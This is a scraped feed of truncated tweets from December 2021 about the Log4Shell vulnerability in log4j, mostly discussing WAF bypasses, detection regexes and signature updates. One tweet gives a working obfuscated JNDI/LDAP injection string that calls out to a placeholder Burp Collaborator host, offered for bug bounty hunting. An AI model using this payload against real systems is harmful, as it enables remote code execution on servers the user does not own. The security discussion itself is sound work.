I published blog post about log4shell. what is it? how can be exploit, detect, mitigate, waf bypass and more.
https://t.co/nAYhCouxqa ...December 13, 2021
I have been sesing some excellent ways to bypass proction and waf filters against log4shell attacks. This must be the most interesting attacks in 2021 ...December 13, 2021
This indeed does work. I think the “i” character is the only one in “jndi:ldap” that works like that. Another likely WAF bypass for log4j. htt ...December 13, 2021
Found a bypass working for a few WAF
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
Enjoy bounty season ...December 12, 2021
Hey @MeghBulletin it probably happened due to log4j zeroday vulnerability found on twitter,steam,icloud etc. This is going on since past 2 days. The s ...December 12, 2021
There are so many possible bypass available, I changed the regex to be only ${.*//(.*)} because that's the only real way to be sure! Except I'm still ...December 11, 2021
This is such a silly take. We were seeing WAF bypass attempts in our logs on Thursday, way before Twitter was talking about them.
In fact, talking ab ...December 11, 2021
Just like that, @realgam3 & @nirzigler have updated and enhanced these signatures to provide better coverage on bypass attempts. Thank you for wor ...December 11, 2021
Here is some recent research on how to bypass the current generation of WAF rules trying to block the ongoing Log4j RCE incident. #upgrade
https://t. ...December 11, 2021
How i was able to bypass Cloudflare WAF for SQLi payload https://t.co/ZDMfLitH1J #infosec #infosecurity #cybersecurity #threatintel #threatintelligenc ...December 11, 2021